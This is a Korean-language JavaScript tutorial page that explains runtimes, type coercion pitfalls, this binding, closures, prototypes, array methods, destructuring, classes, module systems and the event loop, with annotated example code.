🟠 코틀린↗ ☕ 자바↗ 🐍 파이썬↗ 🟣 C#↗ 🗄️ DB↗ 🌐 서버기술↗ 🔵 C++↗ 🔌 C · 임베디드↗ 🦀 Rust↗ 🎓 CS 기술↗
👋 처음이신가요? 위 주제 메뉴 ▾(또는 키보드 1~0)로 주제 이동 · 🔍 검색(Ctrl K)에 “JWT 인증”이나 “메모리 누수”처럼 하려는 일을 한글로 입력 · 코드 상자에 마우스를 올리면 복사 버튼이 나타납니다
JAVASCRIPT · ES2026 · 언어의 뼈대

같은 언어로
서버도 앱도
데스크탑도

자바스크립트 하나면 웹 · 서버(Node) · 모바일(RN) · 데스크탑(Electron)을 전부 만들 수 있습니다. 그래서 언어 자체를 정확히 아는 것이 어느 언어보다 크게 남습니다. 이 탭은 실무에서 실제로 사고가 나는 지점 위주로 정리했습니다. 여기까지 마치면 프레임워크 없이도 남의 코드를 읽고 필요한 도구를 직접 만드는 수준에 섭니다.

16SECTIONS
1언어 · 4 플랫폼
0설치 없이 실행
ES2026최신 문법 기준
JS 01

자바스크립트를 실행하는 법

같은 문법인데 어디서 도느냐에 따라 쓸 수 있는 기능이 완전히 다릅니다.

실행 환경 세 가지

환경있는 것 / 없는 것
브라우저window·document·localStorage 있음 / 파일 읽기 없음
Node.jsfs·process·path 있음 / DOM 없음 (document is not defined)
Deno · BunNode 호환을 지향하는 대안 런타임. 실무 표준은 아직 Node
# 1) 브라우저 콘솔 — F12 를 누르고 바로 입력 (가장 빠름)

# 2) Node — 파일로 실행
node app.js
node --watch app.js            # 저장하면 자동 재시작 (Node 22 부터 정식 기능)

# 3) 한 줄만 실행
node -e "console.log(1 + 1)"

# 4) TypeScript 를 그대로 실행 (Node 24+ 기본 · Node 26 에서 정식)
node app.ts
#  · 타입 "지우기"만 합니다 — 타입 검사는 tsc --noEmit 로 따로
#  · enum · 구 데코레이터 · namespace 같은 "코드를 만들어 내는" 문법은 안 됩니다
#    → tsconfig 에 "erasableSyntaxOnly": true 를 켜 두면 미리 막아 줍니다
“이 코드가 어디서 도는가”를 늘 의식하세요. React Native 는 브라우저가 아니라서 document 가 없고, Electron 은 한 앱 안에서 두 환경이 동시에 돕니다(⚡ Electron 탭 e01). 에러의 상당수가 이 구분을 놓쳐서 납니다.

프로젝트의 시작 — package.json

mkdir my-app && cd my-app
npm init -y                    # package.json 생성
npm pkg set type=module        # ★ ESM 으로 고정 (j09 참고)
{
  "name": "my-app",
  "type": "module",            // "import" 문법을 쓰겠다는 선언
  "scripts": {
    "dev": "node --watch src/index.js",
    "start": "node src/index.js"
  },
  "dependencies": {},          // 실행에 필요한 것
  "devDependencies": {}        // 개발할 때만 필요한 것 (테스트·린트)
}
node_modules 는 절대 커밋하지 마세요. 대신 package-lock.json 은 반드시 커밋합니다 — 그래야 내 PC 와 서버가 정확히 같은 버전을 씁니다. (자세한 내용은 🧰 실전 도구 탭 o01)
JS 02

변수 · 타입 · 형변환 함정

자바스크립트의 나쁜 평판은 대부분 이 절에서 나옵니다. 규칙만 알면 피할 수 있습니다.

변수 선언 — 결론부터

const name = "김현우";     // ★ 기본값. 재할당 금지
let count = 0;             // 값이 바뀌어야 할 때만
var old = 1;               // ❌ 쓰지 마세요

// const 는 "재할당 금지"이지 "변경 금지"가 아닙니다
const user = { name: "김" };
user.name = "이";          // ✅ 됩니다 (객체 내부는 바뀜)
user = {};                 // ❌ TypeError: Assignment to constant

// 진짜로 못 바꾸게 하려면
const frozen = Object.freeze({ name: "김" });
frozen.name = "이";        // 조용히 무시됨 (strict 모드면 에러)
var 를 쓰면 안 되는 이유 — 블록을 무시하고 함수 전체가 범위이며, 선언 전에 써도 에러가 안 나고 undefined 가 됩니다(호이스팅). 반복문 안에서 쓰면 모든 콜백이 같은 값을 보게 됩니다(j04).

타입 7 + 1

typeof "글자"        // "string"
typeof 42            // "number"   (정수·실수 구분 없음)
typeof 10n           // "bigint"   (아주 큰 정수)
typeof true          // "boolean"
typeof undefined     // "undefined" (값을 아직 안 넣음)
typeof Symbol()      // "symbol"
typeof null          // "object"   ← ★ 언어의 유명한 버그
typeof {}            // "object"   (배열·함수·날짜도 전부 객체)
typeof (() => {})    // "function"

// 배열인지 확인은 typeof 로 안 됩니다
Array.isArray([1,2]);         // true  ★ 이걸 쓰세요 (세미콜론 주의 — 다음 줄이 [ 로 시작)
[1,2] instanceof Array        // true (프레임 넘나들면 실패할 수 있음)

형변환 — 실무에서 진짜 겪는 것들

// ① == 는 타입을 멋대로 맞춥니다. === 만 쓰세요
0 == "0"          // true   ← 이래서 사고가 납니다
0 === "0"         // false  ✅
null == undefined // true   (이 한 가지만 == 가 편리)
null === undefined// false

// ② 숫자 변환
Number("42")      // 42
Number("42px")    // NaN
parseInt("42px")  // 42     ← 입력값 파싱에는 이쪽
Number("")        // 0      ★ 빈 문자열이 0 이 되는 함정
Number(null)      // 0
Number(undefined) // NaN

// ③ NaN 은 자기 자신과도 다릅니다
NaN === NaN               // false
Number.isNaN(value)       // ★ 이걸로 확인
Number.isInteger(3.0)     // true

// ④ 소수 계산 (모든 언어 공통 부동소수점 문제)
0.1 + 0.2 === 0.3         // false !
(0.1 + 0.2).toFixed(2)    // "0.30"
// ★ 돈 계산은 "원 단위 정수"로 하거나 decimal.js 를 쓰세요

falsy — 조건문에서 false 로 취급되는 값

false, 0, -0, 0n, "", null, undefined, NaN   // ← 이 8개가 전부
// 나머지는 전부 truthy: "0", "false", [], {}, function(){}

// 그래서 이런 버그가 납니다
if (count) { ... }          // ❌ count 가 0 이면 안 들어감
if (count !== undefined)    // ✅ 의도한 검사

// 개수·금액처럼 0 이 유효한 값이면 반드시 명시적으로 비교하세요
const qty = input ?? 1;     // ✅ null/undefined 일 때만 1
const bad = input || 1;     // ❌ input 이 0 이어도 1 이 됨
?? 와 || 의 차이가 실무에서 제일 자주 나오는 함정입니다. “값이 없을 때 기본값”이 목적이라면 거의 항상 ?? 가 정답입니다.
JS 03

함수 · 화살표 함수 · this

this 는 “어떻게 호출했는가”로 정해집니다. 이 한 문장이 전부입니다.

함수를 만드는 방법

// 1) 함수 선언문 — 호이스팅됨 (선언 전에 호출 가능)
function add(a, b) { return a + b; }

// 2) 함수 표현식
const add2 = function (a, b) { return a + b; };

// 3) 화살표 함수 — ★ 요즘 기본
const add3 = (a, b) => a + b;           // 한 줄이면 return 생략
const double = n => n * 2;               // 인자 1개면 괄호 생략 가능
const makeUser = name => ({ name });     // ★ 객체 반환은 괄호로 감싸기

// 기본값 · 나머지 매개변수
function greet(name, greeting = "안녕", ...rest) {
  console.log(greeting, name, rest);
}
greet("김현우");                   // 안녕 김현우 []
greet("김현우", "반가워", 1, 2);   // 반가워 김현우 [1, 2]
화살표 함수가 만능은 아닙니다. this·arguments·new 가 없으므로 객체의 메서드나 생성자로는 쓸 수 없습니다. addEventListener 에서 this(이벤트 대상)가 필요할 때도 마찬가지입니다.

this 가 정해지는 규칙 — 위에서부터

const obj = {
  name: "객체",
  normal() { return this.name; },          // 호출한 주체 = obj
  arrow:  () => this?.name,                // ★ 바깥 스코프의 this (obj 아님)
};

obj.normal();          // "객체"   — 점 앞의 것이 this
obj.arrow();           // undefined — 화살표는 this 를 안 만듦

const f = obj.normal;  // ★ 떼어내는 순간 주체가 사라짐
f();                   // ★ TypeError — strict 모드(ESM)에선 this 가 undefined 라
                       //   undefined.name 접근에서 터집니다. 흔한 버그

// 해결책 3가지
const g = obj.normal.bind(obj);   // ① 묶어 두기
obj.normal.call(obj);             // ② 호출 시 지정
setTimeout(() => obj.normal(), 0);// ③ ★ 화살표로 감싸기 (가장 흔함)

실무에서 이 함정을 만나는 자리

class Timer {
  seconds = 0;

  // ❌ 1초 뒤 this 가 사라짐
  startBad() {
    setInterval(function () { this.seconds++; }, 1000);
  }

  // ✅ 화살표는 바깥(인스턴스)의 this 를 그대로 씀
  startGood() {
    setInterval(() => { this.seconds++; }, 1000);
  }

  // ✅ 클래스 필드로 정의해도 안전 (React 이벤트 핸들러에서 자주)
  handleClick = () => { this.seconds = 0; };
}
외우는 요령 — 일반 함수의 this 는 “누가 불렀나”, 화살표 함수의 this 는 “어디에 쓰였나”. 콜백 안에서는 거의 항상 화살표가 정답입니다.
this 는 어디서 만들었나가 아니라 어떻게 불렀나로 정해집니다 obj.fn() 점 앞에 객체가 있다 fn() 그냥 부른다 new Fn() new 를 붙인다 fn.call(o) 직접 지정한다 this = obj this = undefined this = 새 객체 this = o 화살표 함수는 this 를 만들지 않습니다 — 바깥 것을 그대로 씁니다
그래서 메서드를 변수에 담아 부르면 두 번째 칸이 됩니다 — const f = obj.fn; f() 는 this 를 잃습니다.
JS 04

스코프 · 클로저

면접 단골이자, 리액트 훅·모듈 패턴·이벤트 핸들러가 전부 이것 위에 서 있습니다.

클로저 = 함수 + 태어난 곳의 기억

function makeCounter() {
  let count = 0;                    // 바깥 함수의 지역 변수

  return {
    increment() { return ++count; },  // ★ count 를 계속 기억한다
    get value()  { return count; },
  };
}

const c = makeCounter();
c.increment();   // 1
c.increment();   // 2
c.value;         // 2
c.count;         // undefined — 밖에서는 못 건드림 (= 진짜 캡슐화)

// makeCounter 는 이미 끝났는데도 count 가 살아 있습니다.
// "함수가 자기 스코프를 들고 다니는 것" — 이게 클로저입니다.

가장 유명한 함정

var — 전부 3 이 찍힘
for (var i = 0; i < 3; i++) {
  setTimeout(() => console.log(i));
}
// 3, 3, 3
// var 는 함수 스코프라
// i 가 하나뿐
let — 0, 1, 2
for (let i = 0; i < 3; i++) {
  setTimeout(() => console.log(i));
}
// 0, 1, 2
// let 은 반복마다
// 새 바인딩을 만듦

실무에서 쓰는 클로저

// ① 디바운스 — 마지막 호출만 실행 (검색창 입력)
function debounce(fn, ms = 300) {
  let timer;                              // ★ 호출 간에 유지되는 상태
  return (...args) => {
    clearTimeout(timer);
    timer = setTimeout(() => fn(...args), ms);
  };
}
const search = debounce((q) => fetch(`/api?q=${q}`), 300);

// ② 스로틀 — 일정 간격으로만 실행 (스크롤·리사이즈)
function throttle(fn, ms = 200) {
  let last = 0;
  return (...args) => {
    const now = Date.now();
    if (now - last < ms) return;
    last = now;
    fn(...args);
  };
}

// ③ 한 번만 실행 (초기화 보장)
function once(fn) {
  let done = false, result;
  return (...args) => {
    if (!done) { done = true; result = fn(...args); }
    return result;
  };
}

// ④ 간단한 메모이제이션 (비싼 계산 캐시)
function memoize(fn) {
  const cache = new Map();
  return (arg) => {
    if (!cache.has(arg)) cache.set(arg, fn(arg));
    return cache.get(arg);
  };
}
클로저는 메모리 누수의 흔한 원인이기도 합니다. 큰 객체를 붙잡은 클로저가 이벤트 리스너로 남아 있으면 영원히 해제되지 않습니다. 리스너는 반드시 removeEventListener 로 정리하세요 (🧬 전문가 탭 d04 에서 실제로 찾는 방법을 다룹니다).
클로저 — 함수가 태어난 자리의 변수를 계속 붙잡습니다 makeCounter() 스코프 count = 0 return 함수 안쪽 함수가 count 를 붙잡습니다 그래서 스코프가 사라지지 않습니다 const c = makeCounter() c() → 1 c() → 2 c() → 3 셋이 같은 count 를 함께 씁니다 d = makeCounter() 는 새 스코프 — d() 는 다시 1 부터 함수가 끝나도 그 안의 변수가 살아 있는 이유는, 반환된 함수가 스코프를 참조하기 때문입니다 쓰는 곳 — 모듈 안 비공개 상태 · once / throttle 같은 유틸 · 값을 기억해야 하는 핸들러 함정 — 반복문에서 var 를 쓰면 클로저들이 같은 변수 하나를 붙잡습니다. let 이면 매번 새로 생깁니다
클로저는 별도 문법이 아니라 스코프가 살아남는 현상입니다 — 이름을 몰라도 이미 매일 쓰고 있습니다.
JS 05

객체 · 프로토타입

자바스크립트에는 클래스가 원래 없었습니다. 지금도 내부는 프로토타입입니다.

객체 다루기 실전

const user = { id: 1, name: "김현우", role: "dev" };

// 순회 — 목적에 맞는 것을 고르세요
Object.keys(user);     // ["id", "name", "role"]
Object.values(user);   // [1, "김현우", "dev"]
Object.entries(user);  // [["id",1], ["name","김현우"], ...]

// 배열 ↔ 객체 변환
Object.fromEntries([["a",1],["b",2]]);        // { a:1, b:2 }
Object.fromEntries(new URLSearchParams(qs));  // 쿼리스트링 → 객체

// 동적 키 · 계산된 속성
const key = "score";
const obj = { [key]: 10, [`${key}Max`]: 100 };  // { score:10, scoreMax:100 }

// 속성 존재 확인
"name" in user            // true  (프로토타입까지 확인)
Object.hasOwn(user, "name")  // true  ★ 자기 것만 (ES2022, 권장)

복사 — 얕은 복사와 깊은 복사

const orig = { name: "김", tags: ["a", "b"] };

// 얕은 복사 — 1단계만 복사됨
const shallow = { ...orig };
shallow.tags.push("c");        // ★ orig.tags 도 바뀝니다!

// 깊은 복사 — 런타임 내장 (Node 17+ · 브라우저 공통. ECMAScript 가 아니라 웹 표준입니다)
const deep = structuredClone(orig);
deep.tags.push("c");           // orig 는 그대로 ✅

// ❌ 옛날 방식 — 함수·Date·undefined 가 사라집니다
const bad = JSON.parse(JSON.stringify(orig));
상태 관리 버그의 절반은 얕은 복사입니다. React·Zustand 에서 “값을 바꿨는데 화면이 안 바뀐다”거나 “안 건드린 값이 같이 바뀐다”면 거의 여기입니다.

프로토타입 사슬

const arr = [1, 2, 3];

arr.map(...)   // arr 에는 map 이 없습니다
               //   → Array.prototype 에서 찾음 ✅

// 사슬: arr → Array.prototype → Object.prototype → null

Object.getPrototypeOf(arr) === Array.prototype;   // true
arr.hasOwnProperty("map");                        // false
Array.prototype.hasOwnProperty("map");            // true
// 프로토타입을 직접 쓰는 경우 (라이브러리 내부에서만)
function Animal(name) { this.name = name; }
Animal.prototype.speak = function () {
  return `${this.name} 이(가) 소리를 냅니다`;
};
const dog = new Animal("멍멍이");
dog.speak();

// 위와 정확히 같은 것을 class 문법으로
class Animal2 {
  constructor(name) { this.name = name; }
  speak() { return `${this.name} 이(가) 소리를 냅니다`; }
}
// ★ class 는 프로토타입을 감싼 "문법 설탕"입니다
내장 프로토타입을 수정하지 마세요. Array.prototype.myUtil = ... 같은 코드는 다른 라이브러리와 충돌하고, for...in 순회를 오염시킵니다. 프로토타입 오염은 실제 보안 취약점이기도 합니다(🧬 전문가 d13).

언제 무엇을 쓰나

상황선택
단순 데이터 묶음객체 리터럴 {} — 대부분 이걸로 충분
키가 동적·문자열이 아님Map — 순서 보장, 크기 확인, 객체 키 가능
중복 없는 목록Set
동작이 붙은 개체가 여럿class
프로토타입 체인 — 없으면 한 칸 위로 올라가며 찾습니다 dog speak 없음 Dog.prototype speak 없음 Animal.prototype speak 발견 → 멈춤 Object.prototype toString 등 null 클래스 문법도 결국 이 그림입니다 — extends 는 위 연결을 만들어 줄 뿐입니다 obj.hasOwnProperty(k) 는 자기 것만 · k in obj 는 체인 전체를 봅니다 — 결과가 다를 수 있습니다 끝까지 못 찾으면 에러가 아니라 undefined 입니다 Object.prototype 에 값을 얹으면 모든 객체가 영향받습니다 — 프로토타입 오염
자바스크립트에 복사되는 상속은 없습니다 — 있는 건 이 연결 고리 하나뿐입니다.
JS 06

배열 메서드 완전정복

실무 코드의 상당 부분이 배열 변형입니다. 여기가 손에 붙으면 속도가 달라집니다.

목적별 지도

하려는 일메서드
모양 바꾸기map
걸러 내기filter
하나로 합치기reduce
하나 찾기find / findIndex / findLast
있는지 확인some(하나라도) / every(전부) / includes
정렬toSorted (원본 유지) / sort (원본 변경)
평탄화flat / flatMap
그룹으로 묶기Object.groupBy ES2024
const orders = [
  { id: 1, user: "김", amount: 15000, status: "paid" },
  { id: 2, user: "이", amount:  8000, status: "pending" },
  { id: 3, user: "김", amount: 32000, status: "paid" },
];

// 체이닝 — 읽는 순서대로 흘러갑니다
const total = orders
  .filter(o => o.status === "paid")     // 결제된 것만
  .map(o => o.amount)                    // 금액만
  .reduce((sum, n) => sum + n, 0);       // 합계  → 47000

// 사용자별로 묶기 (ES2024)
Object.groupBy(orders, o => o.user);
// { 김: [주문1, 주문3], 이: [주문2] }

// 예전 방식 (지원 범위가 넓음)
orders.reduce((acc, o) => {
  (acc[o.user] ??= []).push(o);          // ★ ??= 로 초기화
  return acc;
}, {});

원본을 바꾸는 메서드 — 사고의 원인

// ❌ 원본을 바꿉니다 (React 상태에 쓰면 화면이 안 바뀜)
arr.sort()      arr.reverse()   arr.splice()
arr.push()      arr.pop()       arr.shift()   arr.unshift()

// ✅ 새 배열을 반환합니다 (ES2023 — 이제 짝이 다 생겼습니다)
arr.toSorted()   arr.toReversed()   arr.toSpliced()   arr.with(i, v)

const scores = [3, 1, 2];
const sorted = scores.toSorted((a, b) => a - b);   // scores 는 그대로 ✅
const changed = scores.with(0, 99);                 // [99, 1, 2]
sort() 는 기본이 문자열 정렬입니다. [10, 9, 1].sort() 는 [1, 10, 9] 가 됩니다. 숫자는 반드시 비교 함수를 주세요 — (a, b) => a - b.

자주 쓰는 조합

// 중복 제거
[...new Set([1, 2, 2, 3])];                    // [1, 2, 3]

// 객체 배열 중복 제거 (id 기준)
const uniq = [...new Map(list.map(o => [o.id, o])).values()];

// 두 배열의 교집합 · 차집합
const setB = new Set(b);
const inter = a.filter(x => setB.has(x));
const diff  = a.filter(x => !setB.has(x));

// 청크 나누기 (100개씩 처리 — 대량 API 호출에 필수)
const chunk = (arr, n) =>
  Array.from({ length: Math.ceil(arr.length / n) },
             (_, i) => arr.slice(i * n, i * n + n));

// 여러 기준으로 정렬
list.toSorted((a, b) =>
  a.grade - b.grade || a.name.localeCompare(b.name));  // ★ 한글 정렬
배열 안에서 includes 로 검사하는 반복문은 느립니다. arr.filter(x => other.includes(x)) 는 O(n×m) 입니다. 한쪽을 Set 으로 바꾸면 O(n+m) 이 됩니다. 데이터가 만 건을 넘으면 체감이 확 달라집니다.
새 배열을 만드는 것과 원본을 바꾸는 것 — 이 구분이 먼저입니다 새 배열을 돌려줍니다 (원본 그대로) map · filter · slice · concat flat · flatMap · toSorted · toReversed 이어 붙여 쓸 수 있습니다 — .filter().map() 원본을 바꿉니다 (돌려주는 값도 다름) push · pop · splice · sort · reverse sort 는 정렬된 원본을 돌려줍니다 — 복사본이 아닙니다 state 나 props 를 이렇게 만지면 버그가 됩니다 reduce — 배열을 값 하나로 접습니다 1 2 3 acc + cur 6 초기값 0 을 꼭 reduce 에 초기값을 안 주면 빈 배열에서 TypeError 가 납니다 — 합계·그룹핑 어디서든 초기값을 적는 습관을 들이세요
"이 메서드가 원본을 건드리나"만 알면 대부분의 배열 버그가 사라집니다.
메서드마다 두 가지만 확인합니다 — 원본을 바꾸나, 무엇을 돌려주나 메서드 원본을 바꾸나 돌려주는 것 map 새 배열 — 원본 그대로 filter 새 배열 — 원본 그대로 slice · concat 새 배열 (얕은 복사) toSorted · toReversed 정렬된 새 배열 push · pop 새 length · 꺼낸 값 splice 잘라 낸 요소들 state · props 에 쓰면 버그 sort · reverse 바뀐 원본 그 자체 — 복사본 아님 reduce 값 하나 — 초기값을 꼭 빨간 점이 원본을 바꾸는 메서드, 빈 점은 원본을 건드리지 않는 메서드입니다 reduce 에 초기값을 안 주면 빈 배열에서 TypeError — 합계·그룹핑엔 초기값을 적습니다
"이 메서드가 원본을 건드리나"만 알면 대부분의 배열 버그가 사라집니다.
JS 07

구조 분해 · 스프레드

최신 자바스크립트 코드가 짧아 보이는 이유의 절반입니다.

구조 분해 (Destructuring)

const user = { id: 1, name: "김현우", address: { city: "서울" } };

// 기본
const { name, id } = user;

// 이름 바꾸기 + 기본값
const { name: userName, role = "user" } = user;

// 중첩
const { address: { city } } = user;

// 나머지 모으기 — ★ 특정 키만 제외할 때 매우 유용
const { id: _, ...withoutId } = user;   // id 를 뺀 나머지

// 배열
const [first, second = 0, ...rest] = [1, 2, 3, 4];
const [, , third] = arr;                 // 앞은 건너뛰기
[a, b] = [b, a];                         // 값 교환

// 함수 매개변수에서 (실무에서 가장 많이 씁니다)
function createUser({ name, email, role = "user" }) { ... }
createUser({ name: "김", email: "a@b.c" });   // 순서 신경 안 써도 됨
없는 것을 분해하면 터집니다. const { a } = undefined 는 TypeError 입니다. API 응답처럼 없을 수도 있는 값은 const { a } = res ?? {} 처럼 기본값을 주세요.

스프레드 (…)

// 배열 합치기 · 복사
const merged = [...arr1, ...arr2];
const copy = [...arr];                    // 얕은 복사

// 객체 병합 — ★ 뒤에 오는 것이 이깁니다
const updated = { ...user, name: "새이름" };
const withDefaults = { ...defaults, ...userConfig };

// 조건부로 속성 넣기 (실무 필수 패턴)
const query = {
  page,
  ...(keyword && { keyword }),            // 값이 있을 때만 키 추가
  ...(isAdmin ? { includeHidden: true } : {}),
};

// 함수 인자로 펼치기
Math.max(...numbers);
const merged2 = new Set([...setA, ...setB]);

// 유사 배열 → 배열
[...document.querySelectorAll("div")];     // NodeList → Array
Array.from({ length: 5 }, (_, i) => i);    // [0,1,2,3,4]

스프레드가 깊은 복사가 아니라는 점

const state = { user: { name: "김" }, items: [1, 2] };
const next = { ...state };
next.user.name = "이";        // ★ state.user.name 도 바뀝니다

// 중첩된 것을 바꿀 때는 그 층까지 새로 만들어야 합니다
const next2 = {
  ...state,
  user: { ...state.user, name: "이" },     // ✅
};
// 층이 깊어지면 immer 같은 라이브러리를 쓰거나 structuredClone 을 쓰세요
불변성(immutability)은 선택이 아니라 전제입니다. React·Redux·Zustand 는 “객체가 바뀌었는지”를 참조 비교로 판단합니다. 원본을 고치면 화면이 갱신되지 않습니다. (🧬 전문가 탭 d10 에서 더 깊이 다룹니다)
JS 08

클래스 · 상속

Nest·TypeORM·Electron 이 전부 클래스 기반입니다. 문법은 자바와 거의 같습니다.

기본형

class User {
  // public 필드
  role = "user";
  // ★ 진짜 private (ES2022) — 밖에서 접근하면 문법 에러
  #password;
  // static — 인스턴스 없이 클래스에서 바로
  static count = 0;

  constructor(name, password) {
    this.name = name;
    this.#password = password;
    User.count++;
  }

  // getter / setter — 속성처럼 쓰이는 메서드
  get displayName() { return `${this.name}(${this.role})`; }
  set displayName(v) { this.name = v.trim(); }

  // 인스턴스 메서드
  checkPassword(input) { return this.#password === input; }

  // 정적 팩토리 — 이름 있는 생성자 대용
  static fromJSON(json) { return new User(json.name, json.pw); }
}

const u = new User("김현우", "1234");
u.displayName;         // "김현우(user)"  ← 괄호 없이 호출
u.#password;           // ❌ SyntaxError — 밖에서는 접근 불가
# 은 관례가 아니라 진짜 강제입니다. 예전의 _password 는 “건드리지 말자”는 약속일 뿐이었지만, #password 는 언어 차원에서 막습니다. TypeScript 의 private 은 컴파일 때만 검사하므로, 런타임 보호가 필요하면 # 를 쓰세요.

상속과 실전 활용

class Admin extends User {
  constructor(name, password, level) {
    super(name, password);         // ★ this 를 쓰기 전에 반드시 먼저
    this.role = "admin";
    this.level = level;
  }

  // 오버라이드
  get displayName() {
    return `👑 ${super.displayName}`;    // 부모 것도 쓸 수 있음
  }
}

// 커스텀 에러 — 실무에서 가장 자주 쓰는 상속
class AppError extends Error {
  constructor(message, code, status = 400) {
    super(message);
    this.name = this.constructor.name;   // "AppError"
    this.code = code;
    this.status = status;
    Error.captureStackTrace?.(this, this.constructor);  // Node 전용
  }
}

class NotFoundError extends AppError {
  constructor(what) { super(`${what} 을(를) 찾을 수 없습니다`, "NOT_FOUND", 404); }
}

try {
  throw new NotFoundError("주문");
} catch (e) {
  if (e instanceof NotFoundError) res.status(e.status).json({ code: e.code });
}
상속을 남용하지 마세요. 3단계를 넘어가면 “이 메서드가 어디서 왔지?”를 찾는 데 시간이 더 듭니다. 대부분은 합성(composition) — 필요한 객체를 받아서 쓰는 것이 더 유연합니다. 상속은 에러 클래스와 프레임워크가 요구할 때 정도로 충분합니다.
JS 09

모듈 — ESM vs CommonJS

Node 진영에서 가장 많은 시간을 잡아먹는 주제입니다. 규칙을 한 번에 정리합니다.

CommonJS — 옛 Node 방식
// 내보내기
module.exports = { add, sub };
module.exports.add = add;
exports.add = add;          // 축약형

// 가져오기
const { add } = require("./math");
const fs = require("fs");

// 동적 · 조건부 로드가 자유롭다
if (dev) require("./devTools");

// 현재 파일 경로가 그냥 있다
__dirname, __filename
ESM — 표준 · 신규 프로젝트 기본
// 내보내기
export function add(a, b) { return a + b; }
export default class User {}
export { add as plus };

// 가져오기
import { add } from "./math.js";   // ★ 확장자 필수
import fs from "node:fs/promises"; // ★ node: 접두어 권장

// 동적 로드는 await 로
const mod = await import("./heavy.js");

// 경로는 직접 만들어야 한다
import { fileURLToPath } from "node:url";
import path from "node:path";
const __dirname = path.dirname(
  fileURLToPath(import.meta.url));

무엇이 결정하나 — package.json 한 줄

{
  "type": "module"      // .js 파일을 ESM 으로 해석  ★ 신규 프로젝트 권장
  // "type": "commonjs" // 또는 생략 = CJS (기본값)
}
확장자로 개별 지정도 가능합니다
  .mjs  →  항상 ESM
  .cjs  →  항상 CommonJS

혼용 규칙
  ESM 에서 CJS 가져오기   ✅ 됨 (default 로 들어옴)
  CJS 에서 ESM 가져오기   △ Node 22.12+ 부터 require() 로도 됩니다
                            · 단 top-level await 가 있는 모듈은 여전히 불가
                              → ERR_REQUIRE_ASYNC_MODULE
                            · 그 아래 버전이면 await import() 만
  ★ 오래 CJS 를 막아 온 "라이브러리가 ESM 전용" 문제가 크게 풀렸습니다
가장 자주 보는 에러 세 개
· Cannot use import statement outside a module → "type": "module" 이 빠짐
· ERR_REQUIRE_ESM → CJS 에서 ESM 패키지를 require 함. Node 22.12+ 로 올리면 대부분 사라집니다(top-level await 이 없는 모듈 한정)
· ERR_MODULE_NOT_FOUND → ESM 인데 확장자(.js)를 안 적음

실무 규칙

  • 새 프로젝트는 무조건 ESM — 표준이고, 최신 라이브러리가 ESM 전용으로 가고 있습니다
  • 내부 경로에는 별칭을 쓰세요 — ../../../utils 는 리팩터링 지옥입니다
  • 배럴 파일(index.js 에서 몰아 export)은 편하지만 번들 크기와 순환 참조 문제를 만듭니다. 라이브러리에서는 피하세요
  • 순환 참조는 ESM 에서 undefined 로 조용히 나타납니다 — A가 B를, B가 A를 import 하면 한쪽이 초기화 전에 읽힙니다
// package.json — 경로 별칭 (Node 자체 기능, 빌드 도구 불필요)
{
  "imports": {
    "#utils/*": "./src/utils/*.js",
    "#config":  "./src/config.js"
  }
}
// 사용: import { log } from "#utils/log.js";
// 라이브러리를 만든다면 — 양쪽 모두 지원 (dual package)
{
  "exports": {
    ".": {
      "types":   "./dist/index.d.ts",
      "import":  "./dist/index.mjs",
      "require": "./dist/index.cjs"
    }
  }
}
// tsup 이 이 세 개를 한 번에 만들어 줍니다 (🧰 도구 탭 o03)
언제 결정되느냐가 다릅니다 — 실행 중이냐 실행 전이냐 CommonJS — 실행 중에 const x = require('./a') 그 줄을 만나는 순간 파일을 읽어 실행합니다 if 문 안에서도 부를 수 있습니다 무엇을 쓰는지 미리 알 수 없어 정리가 어렵습니다 ESM — 실행 전에 import x from './a.js' 파일 맨 위로 끌어올려져 먼저 해석됩니다 쓰지 않는 export 를 빌드가 잘라 냅니다 중간에 부르려면 await import() 를 씁니다 섞을 때 나는 오류 — 원인이 정해져 있습니다 Cannot use import statement outside a module → package.json 에 "type": "module" 이 없습니다 또는 확장자를 .mjs 로 바꿉니다 require() of ES Module not supported → ESM 패키지를 CJS 에서 부른 것입니다 await import() 로 바꾸거나 프로젝트를 ESM 으로
새 프로젝트는 ESM이 기본입니다 — 오래된 코드와 섞일 때만 위 두 오류를 기억하세요.
언제 결정되느냐가 다릅니다 — 실행 중이냐 실행 전이냐 파싱 모듈 연결 실행 시작 실행 중 · 20번째 줄 ESM — import 가 여기서 전부 결정 쓰지 않는 export 를 빌드가 잘라 냄 CJS — require() 를 만난 그 순간 if 문 안에서도 부를 수 있음 결정 시점의 차이 Cannot use import statement outside a module → "type": "module" 누락 require() of ES Module not supported → await import() 로 바꾸거나 ESM 으로
새 프로젝트는 ESM이 기본입니다 — 오래된 코드와 섞일 때만 위 두 오류를 기억하세요.
JS 10

이벤트 루프 · 실행 순서

싱글 스레드인데 동시에 일하는 것처럼 보이는 이유. 면접 최다 출제 주제입니다.

한 장으로 보는 구조

        ┌─────────────────┐
        │   콜 스택        │  ← 지금 실행 중인 코드 (하나뿐)
        └────────┬────────┘
                 │ 비었을 때만 아래에서 가져온다
    ┌────────────┴────────────┐
    │ ① 마이크로태스크 큐      │  Promise.then, queueMicrotask
    │    (전부 비울 때까지)     │  ★ 우선순위 높음
    └────────────┬────────────┘
    ┌────────────┴────────────┐
    │ ② 매크로태스크 큐        │  setTimeout, setInterval,
    │    (한 번에 하나)         │  I/O 완료, 이벤트 콜백
    └─────────────────────────┘

핵심 규칙
  · 스택이 비어야 큐를 본다
  · 마이크로태스크를 전부 비운 뒤에 매크로태스크 하나
  · 그래서 Promise 가 setTimeout(0) 보다 항상 먼저

순서 맞히기 — 이게 면접 문제입니다

console.log("1");

setTimeout(() => console.log("2"), 0);

Promise.resolve().then(() => console.log("3"));

queueMicrotask(() => console.log("4"));

(async () => {
  console.log("5");                    // await 앞은 동기 실행
  await null;
  console.log("6");                    // await 뒤는 마이크로태스크
})();

console.log("7");

// 출력: 1 → 5 → 7 → 3 → 4 → 6 → 2
//       └── 동기 ──┘  └ 마이크로 ┘  └매크로

실무에서 이게 왜 중요한가

// ❌ 이 코드는 서버 전체를 멈춥니다
app.get("/report", (req, res) => {
  let sum = 0;
  for (let i = 0; i < 5_000_000_000; i++) sum += i;   // 10초간 CPU 점유
  res.json({ sum });
});
// 이 10초 동안 "다른 모든 요청"이 대기합니다.
// 스레드가 하나뿐이라 그렇습니다.

// ✅ 해결 — 무거운 계산은 워커로 (🟩 Node 탭 n09)
import { Worker } from "node:worker_threads";
const result = await runInWorker("./heavy.js", data);
